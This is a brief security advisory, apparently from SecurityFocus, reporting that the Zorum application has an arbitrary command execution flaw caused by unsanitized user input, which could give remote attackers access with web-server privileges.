                                                source: http://www.securityfocus.com/bid/14601/info

Zorum is prone to an arbitrary command execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

This issue may facilitate unauthorized remote access in the context of the Web server to the affected computer.
